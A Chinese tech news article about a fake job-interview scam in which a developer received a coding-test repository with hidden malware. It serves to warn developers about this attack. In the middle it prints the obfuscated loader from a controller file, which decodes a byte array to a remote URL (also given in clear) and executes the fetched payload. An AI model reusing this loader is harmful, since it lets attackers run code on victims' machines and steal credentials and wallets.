警惕新型面试骗局：开发者David Dodda险遭恶意代码攻击

主机测评网
科技资讯
2026-01-12
638

回忆起那场精心策划的“面试陷阱”，拥有八年自由开发经验的David Dodda至今仍心有余悸。

近日，David Dodda在技术社区分享了自己遭遇的一次新型开发者定向攻击事件：诈骗者伪装成一家区块链公司高管，邀请他进行远程面试，并以“编程测试”为借口植入恶意代码——若非他在最后关头突然警觉，后果将不堪设想。

从“正规邀请”到“代码测试”：骗局的巧妙铺垫

事件始于LinkedIn上一条看似普通的工作消息。

上周，David Dodda的LinkedIn账号收到了一条来自“Symfa公司首席区块链官Mykola Yanchii”的私信。对方表示，他们公司正在开发一款名为BestCity的房地产工作流程转型平台，目前招聘兼职开发者，工作时间灵活，且与David Dodda的技术背景高度匹配。

出于职业本能，David首先核实了Mykola Yanchii的身份，其LinkedIn资料显得非常“正规”：不仅有完整的职业履历，还标注了Symfa首席区块链官的头衔，账号拥有1000+真实好友，日常动态充满“创业者式励志格调”……

总之，这是那种在社交平台上反复查看也难以起疑的典型形象。

警惕新型面试骗局：开发者David Dodda险遭恶意代码攻击面试骗局恶意代码网络安全开发者安全第1张

警惕新型面试骗局：开发者David Dodda险遭恶意代码攻击面试骗局恶意代码网络安全开发者安全第2张

接着，David Dodda点开了Symfa公司的LinkedIn主页，同样显得无懈可击：专业的品牌设计、员工信息展示、业务介绍，甚至发布了多条关于“用区块链改造房地产”的项目动态——完全像一家正常运营的科技企业。

警惕新型面试骗局：开发者David Dodda险遭恶意代码攻击面试骗局恶意代码网络安全开发者安全第3张

警惕新型面试骗局：开发者David Dodda险遭恶意代码攻击面试骗局恶意代码网络安全开发者安全第4张

对David Dodda这样的自由开发者而言，这类邀请并不罕见——发件人礼貌、表述专业，没有提出过分要求，仅约定通过线上面试深入沟通，这一切都增强了“可信度”。

“我做自由职业八年了，开发过Web应用、各类项目，也做过代码审查。我自以为安全意识很强——至少我曾这么认为。而这次邀请看起来相当可靠，所以我同意了电话面试。”

随后，Mykola Yanchii以“提前评估技术能力、节省沟通时间”为由，发来了一个Bitbucket代码库链接，要求David Dodda在30分钟内完成一个React/Node项目的简单优化——这是技术面试中常见的“带回家测试”，大多数开发者都经历过。

David Dodda打开代码库后发现：代码结构清晰，附有详细的README文档，还有符合企业风格的宣传图，甚至标注了需要优化的功能点，看起来就是一份标准的面试测试题。

30分钟的“时间压力”：险些跨越的安全底线

然而，一个关键细节为后续的“危险操作”埋下了伏笔——当时，距离约定的电话面试仅剩30分钟，这对David Dodda来说时间相当紧张。

“正常情况下，我会先将代码放入Docker容器中隔离运行，确认安全后再开始优化。”他坦言，多年的开发经验让他养成了“在沙箱中运行未知代码”的习惯，但这次的时间压力打乱了节奏。

为了赶在面试前完成测试，David Dodda直接在本地环境中打开了代码库，快速找出了几处明显的语法错误，补充了缺失的docker-compose文件，还优化了部分冗余代码，整个过程与常规测试无异。

正当他准备输入“npm start”运行项目、向面试官展示成果时，多年的安全直觉突然“警报大作”——“无论多急，运行未知代码前至少应检查关键文件”。

抱着“多花一分钟检查”的想法，David Dodda将代码片段复制到了Cursor AI助手中，并发送了一条简单的查询指令：

“在我运行这个程序之前，你能检查一下这个代码库中是否有任何可疑代码吗？比如读取不该读取的文件、访问加密钱包等”。

没想到，AI的反馈让他瞬间冷汗直冒——在server/controllers/userController.js文件中，隐藏着一段高度混淆的恶意代码：

//Get Cookie
(async () => {
const byteArray = [
104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,
110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,
98, 50, 48, 51, 49, 102, 98, 57
];
const uint8Array = new Uint8Array(byteArray);
const decoder = new TextDecoder("utf-8");
axios.get(decoder.decode(uint8Array))
.then(response => {
new Function("require", response.data.model)(require);
})
. catch(error => { });
})();

这段代码采用字节数组隐藏了一个远程URL，通过axios.get获取恶意负载，并使用JavaScript的Function构造函数执行——关键的是，这段代码巧妙地嵌入在管理功能之间，一旦访问相应的admin路由，它就能以完整的服务器权限随时执行。

David Dodda立即解码了那个字节数组：https://api.npoint.io/2c458612399c3b2031fb9。不出所料，这个URL指向一个恶意payload：一旦运行，将自动读取本地文件系统、抓取浏览器Cookie、访问加密钱包客户端，甚至获取环境变量中的数据库密码与生产环境密钥——相当于向攻击者敞开了“数字家门”。

更可怕的是，当David Dodda在24小时后再次尝试访问该URL时，链接已完全失效——这意味着，骗子为了规避追踪，早已设置了“自动销毁”机制。

这一切都显得极其专业，绝非普通钓鱼邮件所能比拟。